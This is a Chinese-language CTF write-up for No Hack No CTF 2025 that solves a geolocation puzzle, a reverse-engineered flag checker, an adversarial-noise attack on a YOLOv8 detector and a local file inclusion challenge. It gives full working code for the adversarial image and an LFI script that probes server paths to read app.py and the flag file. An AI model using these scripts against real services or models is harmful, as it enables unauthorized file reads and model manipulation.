No Hack No CTF 2025

Misc

Travel

Challenge

This is a photo I took some time ago, but I’ve forgotten exactly where I was when I took it. Can you figure out which building I was inside when I captured this image? Flag format: NHNC{<address_on_google_maps>} Replace all commas and spaces in the address with underscores (_). For example, if the correct address is:1 Chome-29-13 Sengoku, Bunkyo City, Tokyo 112-0011, Japan,Then the correct flag would be:NHNC{1_Chome-29-13_Sengoku_Bunkyo City_Tokyo_112-0011_Japan}

Solution

NoHackNoCTF2025-1

识图发现是广岛县贺茂泉附近果味饱满,米香动人,生酒就是这么好喝!_贺茂泉_西条_广岛县

然后发现图中右上角的塔位于(公社)広島県環境保全センター 東広島支所 - Google 地图

NoHackNoCTF2025-2

在附近搜索找到目标位置 Hotel Route Inn East Hiroshima Saijo Station - Google 地图

14-24 Saijohonmachi, Higashihiroshima, Hiroshima 739-0011 日本

1
NHNC{14-24_Saijohonmachi_Higashihiroshima_Hiroshima_739-0011_Japan}

attack CNN?

Challenge

Did u know how to attack CNN?

1
2
different_prediction = result_v8["class_name"] != result_v10["class_name"]
confidence_gap = abs(result_v8["confidence"] - result_v10["confidence"]) >= 0.4

http://chal.78727867.xyz:5000/

Solution

题目附件提供了 yolo_v8.ptyolo_v10.pt

这题考察的是对抗攻击,具体来说是生成式对抗样本(Adversarial Example Generation)

我们的目标是从零(从随机噪声)开始,通过优化方法 “创造” 一张能让模型高置信度识别出特定目标的图片

在本题中,生成一张噪声图片使得任意一个模型识别出任意一个置信度大于等于 0.4 的目标结果即可,因为另一个模型识别这张噪声图片极大概率是识别不出什么东西的(也就是置信度等于 0),这样一来二者的置信度之差就大于等于 0.4 了

我选择的是 yolo_v8.ptGreen Light

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import torch
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
from ultralytics import YOLO

# --- 1. 配置参数 ---
MODEL_PATH = 'yolo_v8.pt'
TARGET_CLASS_ID = 0
CONFIDENCE_THRESHOLD = 0.90

# 优化参数
LEARNING_RATE = 0.01
ITERATIONS = 500
IMG_SIZE = 640

# --- 2. 加载模型 ---
print(f"正在加载您的模型: {MODEL_PATH}...")
model = YOLO(MODEL_PATH)
device = 'cuda' if torch.cuda.is_available() else 'cpu'
model.to(device)
model.eval()

class_names = model.names
target_class_name = class_names.get(TARGET_CLASS_ID, f"ID_{TARGET_CLASS_ID}")
print(f"模型加载完毕。攻击目标 -> 类别: '{target_class_name}' (ID: {TARGET_CLASS_ID})")

# --- 3. 初始化噪声图片 ---
adversarial_image = torch.rand(1, 3, IMG_SIZE, IMG_SIZE,
device=device,
requires_grad=True)
optimizer = torch.optim.Adam([adversarial_image], lr=LEARNING_RATE)

# 获取模型中类别数量和坐标数量
num_classes = len(class_names)
num_coords = 4
target_class_index_in_raw_output = num_coords + TARGET_CLASS_ID

print("\n开始优化图片 (采用直接攻击原始输出的策略)...")
# --- 4. 迭代优化 ---
for i in range(ITERATIONS):
optimizer.zero_grad()

preds = model.model(adversarial_image)[0]

preds = preds.permute(0, 2, 1)

target_scores = preds[0, :, target_class_index_in_raw_output]

max_score = target_scores.max()

loss = -max_score

loss.backward()
optimizer.step()

with torch.no_grad():
adversarial_image.clamp_(0, 1)

print(f"\r迭代 {i+1}/{ITERATIONS} | 目标类别最高原始分数: {max_score.item():.4f}", end="")

print(f"\n\n优化完成。最终目标类别最高原始分数: {max_score.item():.4f}")

# --- 5. 验证和保存 ---
print("\n正在用标准预测方法验证最终生成的图片...")

final_results = model.predict(adversarial_image, verbose=False)

final_image_tensor = adversarial_image.squeeze(0).detach().cpu()
final_image_numpy = final_image_tensor.permute(1, 2, 0).numpy()
final_image_uint8 = (final_image_numpy * 255).astype(np.uint8)
img_pil = Image.fromarray(final_image_uint8)
output_filename = f"adversarial_image_for_{target_class_name.replace(' ', '_')}.png"
img_pil.save(output_filename)
print(f"对抗性图片已保存为: {output_filename}")

print("\n模型在最终图片上的识别结果:")
final_results[0].show()

final_boxes = final_results[0].boxes
found = False
if len(final_boxes) > 0:
for box in final_boxes:
class_id = int(box.cls)
conf = float(box.conf)
if class_id == TARGET_CLASS_ID and conf >= CONFIDENCE_THRESHOLD:
print(f"\n攻击成功! 检测到 '{class_names.get(class_id)}',置信度: {conf:.4f} (已超过 {CONFIDENCE_THRESHOLD})")
found = True
break
if not found:
# 如果没找到目标,打印置信度最高的那个结果
top_box_index = final_boxes.conf.argmax()
top_box = final_boxes[top_box_index]
top_class_id = int(top_box.cls)
top_conf = float(top_box.conf)
print(f"\n⚠️ 攻击部分成功,但置信度未达标或目标错误。")
print(f"置信度最高的检测是 '{class_names.get(top_class_id)}' ({top_conf:.4f})")
else:
print("\n❌ 攻击失败,模型在最终生成的图片上未检测到任何物体。")

plt.imshow(img_pil)
plt.title(f"Generated Noise Image (Target: '{target_class_name}')")
plt.axis('off')
plt.show()

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
正在加载您的模型: yolo_v8.pt...
模型加载完毕。攻击目标 -> 类别: 'Green Light' (ID: 0)

开始优化图片 (采用直接攻击原始输出的策略)...
迭代 500/500 | 目标类别最高原始分数: 0.9972

优化完成。最终目标类别最高原始分数: 0.9972

正在用标准预测方法验证最终生成的图片...
对抗性图片已保存为: adversarial_image_for_Green_Light.png

模型在最终图片上的识别结果:

攻击成功! 检测到 'Green Light',置信度: 0.9972 (已超过 0.9)

原图:

NoHackNoCTF2025-3

下图是将图片上传到靶机中的识别结果:

NoHackNoCTF2025-4

1
NHNC{you_kn0w_h0w_t0_d0_adv3rs3ria1_attack}

Reverse

flag checker

Challenge

You are doing a mission and you need to find out the secret

Solution

sub_123E 是核心函数,它对用户输入进行一系列复杂的验证。这题的目标是构造一个能通过 sub_123E 所有检查的输入字符串,这个字符串就是 flag。

先分析关键的辅助函数:

  • sub_1189 (float a1) -> (int) a1: 将浮点数强制转换为整数,即截断小数部分
  • sub_119D(float a1) -> LODWORD(a1): 获取浮点数在内存中的 32 位二进制表示。例如,sub_119D (1.0f) 返回的不是整数 1,而是 1.0f 的 IEEE 754 表示 0x3F800000。
  • sub_11DC (uint8_t a1, char a2) -> ROL (a1, a2): 8 位循环左移
  • sub_120D (uint8_t a1, char a2) -> ROR (a1, a2): 8 位循环右移

此外,代码中充斥着形如 *(double *)_mm_cvtsi32_si128(0x420FE9E1u).m128i_i64 的 SSE 指令,这实际上是反编译器表示 “将一个 32 位整数的位模式(bit pattern)解释为单精度浮点数” 的复杂方式。例如,0x420FE9E1 在内存中就是浮点数 35.8568…。

sub_123E 函数由 40 多个独立的 if 条件构成,每个条件验证 Flag 中的一个字符。这些验证可以分为三类:

A. 直接计算型
大部分字符可以通过直接的逆向计算得出。

  • 示例 a1 [5]:
    • C 代码: (unsigned __int8) sub_120D (sub_1189 (float (0x420FE9E1)), 1LL) - 39 != a1 [5]
    • 分析:
      1. float(0x420FE9E1) -> 35.8568
      2. sub_1189(35.8568) -> 35
      3. sub_120D(35, 1) -> ROR(35, 1) -> ROR(0b00100011, 1) -> 0b10010001 -> 145
      4. 145 - 39 = 106
    • 结论: a1 [5] 必须是 106 (ASCII: ‘j’)。

B. 搜索 / 穷举型
有几个字符的值被用作计算的一部分,需要在一个小范围内(如所有可打印 ASCII 字符)进行搜索。

  • 示例 a1 [0]:
    • C 代码: (unsigned int) sub_1189 ((float)*a1 * 3.1415) != 245
    • 分析:我们需要找到一个字符 c,使得 int (c * 3.1415) 的结果是 245。
    • 解法: 245 <= c * 3.1415 < 246。解得 77.99 <= c < 78.31。唯一的整数解是 78。
    • 结论: a1 [0] 必须是 78 (ASCII: ‘N’)。

C. 关键陷阱:C 语言类型转换
在初步解题时,一个 ValueError 暴露了一个常见的逆向陷阱。

  • 示例 a1 [10]:
    • C 代码: (unsigned __int8) sub_119D (float (0x40B37B4A)) + 41 != a1 [10]
    • 错误的解读: sub_119D (…) + 41。这会导致 0x40B37B4A + 41,一个巨大的数字。
    • 正确的解读: C 语言的 (unsigned __int8) 类型转换会先于加法运算。这意味着必须先将 sub_119D 的 32 位结果截断为 8 位,然后再加 41。
      1.
      2. sub_119D(float(0x40B37B4A)) -> 0x40B37B4A
      3. (unsigned __int8)(0x40B37B4A) -> 0x4A (十进制 74)
      4. 74 + 41 = 115
    • 结论: a1 [10] 必须是 115 (ASCII: ‘s’)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
import struct

# -------------------------------------------------------------------
# Helper functions to replicate the binary's logic
# -------------------------------------------------------------------

def float_from_hex(hex_val: int) -> float:
"""
Takes a 32-bit integer and interprets its bit pattern as a
little-endian single-precision float.
Equivalent to: *(float*)&hex_val
"""
return struct.unpack('<f', struct.pack('<I', hex_val))[0]

def sub_1189(f: float) -> int:
"""
Replicates sub_1189: Casts float to int (truncates).
"""
return int(f)

def sub_119D(f: float) -> int:
"""
Replicates sub_119D: Returns the 32-bit integer representation of a float.
Equivalent to: LODWORD(f) or *(int*)&f
"""
return struct.unpack('<I', struct.pack('<f', f))[0]

def rol(val: int, r_bits: int) -> int:
"""
Replicates sub_11DC: 8-bit rotate left.
"""
return ((val << r_bits) | (val >> (8 - r_bits))) & 0xFF

def ror(val: int, r_bits: int) -> int:
"""
Replicates sub_120D: 8-bit rotate right.
"""
return ((val >> r_bits) | (val << (8 - r_bits))) & 0xFF

# Note: The complex C expression:
# (((unsigned int)((X) >> 31) >> 24) + (X)) - ((unsigned int)((X) >> 31) >> 24)
# is a compiler's convoluted way of expressing (X % 256).
# We will use the simpler Python equivalent `X % 256`.

# -------------------------------------------------------------------
# Main solving logic
# -------------------------------------------------------------------

def solve():
"""
Reverses the logic from sub_123E to find the flag.
"""
# The flag has 46 characters (indices 0 to 45)
flag = [0] * 46

# --- Character calculations based on the conditions in sub_123E ---

# a1[5]
v1 = sub_1189(float_from_hex(0x420FE9E1)) # int(35.85) -> 35
flag[5] = ror(v1, 1) - 39

# a1[0] - This is a search
# int(a1[0] * 3.1415) == 245
for i in range(32, 127):
if sub_1189(i * 3.1415) == 245:
flag[0] = i
break

# a1[44]
v4 = sub_1189(float_from_hex(0x406CCCCD)) # int(3.7) -> 3
flag[44] = rol(v4, 7) - 76

# a1[19]
flag[19] = (sub_119D(float_from_hex(0x3F800000)) >> 24) + 32 # bits(1.0)

# a1[12]
v5 = sub_1189(float_from_hex(0x42B16C22)) # int(88.82) -> 88
flag[12] = ror(v5, 4) - 24

# a1[33] - CORRECTED
flag[33] = (sub_119D(float_from_hex(0x3FA00000)) & 0xFF) + 55 # (uint8_t)bits(1.25) + 55

# a1[2]
v6 = sub_1189(float_from_hex(0x419CF5C3)) # int(19.62) -> 19
flag[2] = rol(v6, 3) - 74

# a1[25]
flag[25] = sub_1189(float_from_hex(0x40A00000)) % 7 + 44 # int(5.0)

# a1[17]
v7 = sub_1189(float_from_hex(0x3F800000)) # int(1.0) -> 1
flag[17] = ror(v7, 1) - 80

# a1[8] - This is a search
# rol(int(a1[8] * 1.5), 2) - 18 == a1[8]
for i in range(32, 127):
if rol(sub_1189(i * 1.5), 2) - 18 == i:
flag[8] = i
break

# a1[30]
flag[30] = (sub_119D(float_from_hex(0x3F000000)) >> 24) - 15 # bits(0.5)

# a1[41]
flag[41] = ((sub_119D(float_from_hex(0x3F800000)) >> 8) & 0xFF) + 105 # (bits(1.0) >> 8)

# a1[6]
v10 = sub_1189(float_from_hex(0x41316C22)) # int(11.08) -> 11
flag[6] = (2 * v10 + 95) % 256

# a1[21]
v11 = sub_1189(float_from_hex(0x40E00000)) # int(7.0) -> 7
flag[21] = (4 * (v11 + 20)) % 256

# a1[13]
v12 = sub_1189(float_from_hex(0x41082681)) # int(8.51) -> 8
flag[13] = (v12 + 43) % 256

# a1[29]
flag[29] = sub_1189(float_from_hex(0x41200000)) // 5 + 110 # int(10.0)

# a1[3]
flag[3] = ((sub_119D(float_from_hex(0x411B4673)) >> 16) & 0xFF) + 40 # (bits(9.7) >> 16)

# a1[27]
flag[27] = ((sub_119D(float_from_hex(0x3FC00000)) >> 8) & 0xFF) + 103 # (bits(1.5) >> 8)

# a1[14]
flag[14] = (sub_119D(float_from_hex(0x41F66B86)) >> 24) + 30 # bits(30.8)

# a1[9]
flag[9] = sub_1189(float_from_hex(0x416C902E)) // 3 + 91 # int(14.78)

# a1[16]
v13 = sub_1189(float_from_hex(0x406C902E)) # int(3.69) -> 3
flag[16] = (3 * v13 + 39) % 256

# a1[1]
flag[1] = 72

# a1[23]
flag[23] = ((sub_119D(float_from_hex(0x40000000)) >> 16) & 0xFF) + 52 # (bits(2.0) >> 16)

# a1[11] - This is a search
# int(a1[11] * 7.77) % 5 + 46 == a1[11]
for i in range(32, 127):
if sub_1189(i * 7.77) % 5 + 46 == i:
flag[11] = i
break

# a1[24]
v15 = sub_1189(float_from_hex(0x40400000)) # int(3.0) -> 3
flag[24] = ror(v15, 3) + 20

# a1[37]
flag[37] = sub_1189(float_from_hex(0x41080000)) % 4 + 51 # int(8.5)

# a1[34]
v16 = sub_1189(float_from_hex(0x40B00000)) # int(5.5) -> 5
flag[34] = rol(v16, 5) - 65

# a1[36]
v17 = sub_1189(float_from_hex(0x40F00000)) # int(7.5) -> 7
flag[36] = ror(v17, 6) + 84

# a1[20]
v18 = sub_1189(float_from_hex(0x40C00000)) # int(6.0) -> 6
flag[20] = rol(v18, 1) + 90

# a1[31]
v19 = sub_1189(float_from_hex(0x40000000)) # int(2.0) -> 2
flag[31] = ror(v19, 2) - 23

# a1[10] - CORRECTED
flag[10] = (sub_119D(float_from_hex(0x40B37B4A)) & 0xFF) + 41 # (uint8_t)bits(5.61) + 41

# a1[26]
flag[26] = 2 * (sub_1189(float_from_hex(0x40C80000)) + 49) # int(6.25)

# a1[39]
v20 = sub_1189(float_from_hex(0x408CCCCD)) # int(4.4) -> 4
flag[39] = rol(v20, 1) + 89

# a1[15]
v21 = sub_1189(float_from_hex(0x413313AA)) # int(11.19) -> 11
flag[15] = rol(v21, 2) + 55

# a1[35]
v22 = sub_1189(float_from_hex(0x40D00000)) # int(6.5) -> 6
flag[35] = (v22 + 42) % 256

# a1[32]
flag[32] = 2 * (sub_1189(float_from_hex(0x41100000)) % 10 + 46) # int(9.0)

# a1[18]
v23 = sub_1189(float_from_hex(0x40A00000)) # int(5.0) -> 5
flag[18] = (v23 + 103) % 256

# a1[28]
v24 = sub_1189(float_from_hex(0x41100000)) # int(9.0) -> 9
flag[28] = rol(v24, 4) - 49

# a1[22]
flag[22] = sub_1189(float_from_hex(0x41000000)) // 2 + 107 # int(8.0)

# a1[7]
flag[7] = ((sub_119D(float_from_hex(0x42607127)) >> 8) & 0xFF) + 2 # (bits(56.1) >> 8)

# a1[43]
v25 = sub_1189(float_from_hex(0x4013D70A)) # int(2.23) -> 2
flag[43] = (v25 + 108) % 256

# a1[40]
v26 = sub_1189(float_from_hex(0x40D33334)) # int(6.6) -> 6
flag[40] = (5 * v26 + 25) % 256

# a1[4] - This is a search
# (int(a1[4] * 2.5) + 72) % 256 == a1[4]
for i in range(32, 127):
if (sub_1189(i * 2.5) + 72) % 256 == i:
flag[4] = i
break

# a1[38]
flag[38] = ((sub_119D(float_from_hex(0x40000000)) >> 16) & 0xFF) + 114 # (bits(2.0) >> 16)

# a1[42]
v29 = sub_1189(float_from_hex(0x400CCCCD)) # int(2.2) -> 2
flag[42] = ror(v29, 3) + 47

# a1[45]
flag[45] = 125

# --- Final result ---
result_string = "".join(chr(c) for c in flag)
print(result_string)

if __name__ == "__main__":
solve()
1
NHNC{jus7_s0m3_c00l_flo4t1ng_p0in7_0p3ra7ion5}

Web

dkri3c1_love_cat

Challenge

I like cat cat cat & banana

Hint: Flag is in the same directory as app.py

Solution

明显是 LFI,但又不知道在哪,让 AI 搓一个脚本尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests
import sys
from urllib.parse import urljoin

# --- 配置 ---
# 靶机基础URL
BASE_URL = "http://chal.78727867.xyz:1234/view"

# 常见的app.py可能存在的路径列表(字典)
# 我们也包含了一些其他常见的文件名,以防万一
POSSIBLE_PATHS = [
'/app/app.py',
'/app.py',
'/var/www/app.py',
'/var/www/html/app.py',
'/srv/app.py',
'/srv/www/app.py',
'/usr/src/app/app.py',
'/opt/app/app.py',
'/home/www-data/app.py',
'/home/user/app.py',
'/home/ctf/app.py',
'/root/app.py',
# 也可以尝试其他常见名字
'/app/main.py',
'/main.py',
'/app/server.py',
'/server.py',
]

print("--- 开始通过LFI漏洞寻找 app.py ---")
print(f"目标URL: {BASE_URL}")

# --- 循环尝试 ---
found_path = None
for path in POSSIBLE_PATHS:
# 构造完整的请求URL
# params参数会自动处理URL编码
params = {'img': path}

print(f"[*] 正在尝试路径: {path}")

try:
# 发送GET请求,设置一个超时以防服务器无响应
response = requests.get(BASE_URL, params=params, timeout=10)

# --- 检查是否成功 ---
# 1. 状态码必须是 200
# 2. 响应内容不能是常见的错误信息(有些服务器即使文件不存在也返回200)
# 3. 响应内容应该包含Python代码的特征,如 'import', 'def', 'Flask'等
if response.status_code == 200:
content = response.text
print("\n" + "="*50)
print(f"[+] 成功! 找到文件路径: {path}")
print("="*50)
print("\n--- 文件内容预览 (前500个字符) ---")
print(content[:500])
print("--------------------------------------------")
found_path = path
break # 找到后就停止循环
else:
print(f" [-] 失败,状态码: {response.status_code}")

except requests.exceptions.RequestException as e:
print(f"[!] 请求异常: {e}")
continue

# --- 结果总结 ---
if found_path:
# 题目说Flag在同一目录,所以我们推断flag的文件名
# 通常是 flag, flag.txt, Flag 等
directory = found_path.rsplit('/', 1)[0]
flag_path_guess = f"{directory}/flag.txt" # 先猜一个常见的flag.txt

print("\n[+] 任务完成!")
print(f"下一步,请尝试读取Flag。Flag与app.py在同一目录 ({directory})。")
print(f"你可以尝试访问以下URL来获取Flag:")

# 构造并打印可能的flag URL
flag_url = f"{BASE_URL}?img={flag_path_guess}"
print(f" - {flag_url}")
print(f"如果不行,再试试 'flag' 或者其他文件名,例如: {BASE_URL}?img={directory}/flag")
else:
print("\n" + "="*50)
print("[-] 失败: 在给定的路径列表中没有找到 app.py。")
print("[-] 你可能需要编辑脚本中的 `POSSIBLE_PATHS` 列表,添加更多可能的路径。")
print("="*50)

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
--- 开始通过LFI漏洞寻找 app.py ---
目标URL: http://chal.78727867.xyz:1234/view
[*] 正在尝试路径: /app/app.py

==================================================
[+] 成功! 找到文件路径: /app/app.py
==================================================

--- 文件内容预览 (前500个字符) ---
from flask import Flask, request, send_file, abort
import os

app = Flask(__name__)

@app.route('/')
def index():
return '''

<h1> 🐱 Welcome to dkri3c1's Cat Photo Shop </h1>
<p>Cat is Cuteeeee :D </p>
<code>BTW, You can use /view?img=cat.png to view Cute Catttt </code>
<br></br>
<img src="static/images/cat.png" width="500" height="500">
'''

@app.route('/view')
def view_image():
img = request.args.get('img', '')

--------------------------------------------

[+] 任务完成!
下一步,请尝试读取Flag。Flag与app.py在同一目录 (/app)。
你可以尝试访问以下URL来获取Flag:
- http://chal.78727867.xyz:1234/view?img=/app/flag.txt
如果不行,再试试 'flag' 或者其他文件名,例如: http://chal.78727867.xyz:1234/view?img=/app/flag

访问 http://chal.78727867.xyz:1234/view?img=/app/flag.txt 就拿到 flag 了

1
NHNC{dkri3c1_Like_Cat_oUo_>_<_c8763}